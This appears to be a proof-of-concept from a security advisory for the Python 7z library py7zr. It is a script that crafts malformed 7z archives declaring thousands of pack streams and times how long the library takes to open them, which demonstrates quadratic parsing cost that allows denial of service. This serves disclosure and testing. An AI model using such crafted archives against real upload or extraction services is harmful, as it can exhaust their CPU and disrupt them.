GHSA-h4gh-22qq-72r7

import py7zr from py7zr.archiveinfo import write_uint64, PROPERTY MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c' def encode_uint64(v): buf = io.BytesIO() write_uint64(buf, v) return buf.getvalue() def build_7z_with_streams(numstreams): header = io.BytesIO() header.write(PROPERTY.HEADER) header.write(PROPERTY.MAIN_STREAMS_INFO) header.write(PROPERTY.PACK_INFO) header.write(encode_uint64(0)) header.write(encode_uint64(numstreams)) header.write(PROPERTY.SIZE) for _ in range(numstreams): header.write(encode_uint64(1)) header.write(PROPERTY.END) header.write(PROPERTY.END) header.write(PROPERTY.END) header_data = header.getvalue() out = io.BytesIO() out.write(MAGIC) out.write(b'\x00\x04') next_crc = binascii.crc32(header_data) & 0xFFFFFFFF start_header = (struct.pack('<Q', 0) + struct.pack('<Q', len(header_data)) + struct.pack('<I', next_crc)) out.write(struct.pack('<I', binascii.crc32(start_header) & 0xFFFFFFFF)) out.write(start_header) out.write(header_data) return out.getvalue() for n in [1000, 5000, 10000, 30000, 50000]: archive = build_7z_with_streams(n) start = time.time() try: with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z: pass except Exception: # The crafted archive may later raise due to being malformed, # but the quadratic work has already been performed during # header parsing in SevenZipFile.__init__(). pass elapsed = time.time() - start print(f"n={n:6d} size={len(archive):8d} bytes time={elapsed:.3f}s")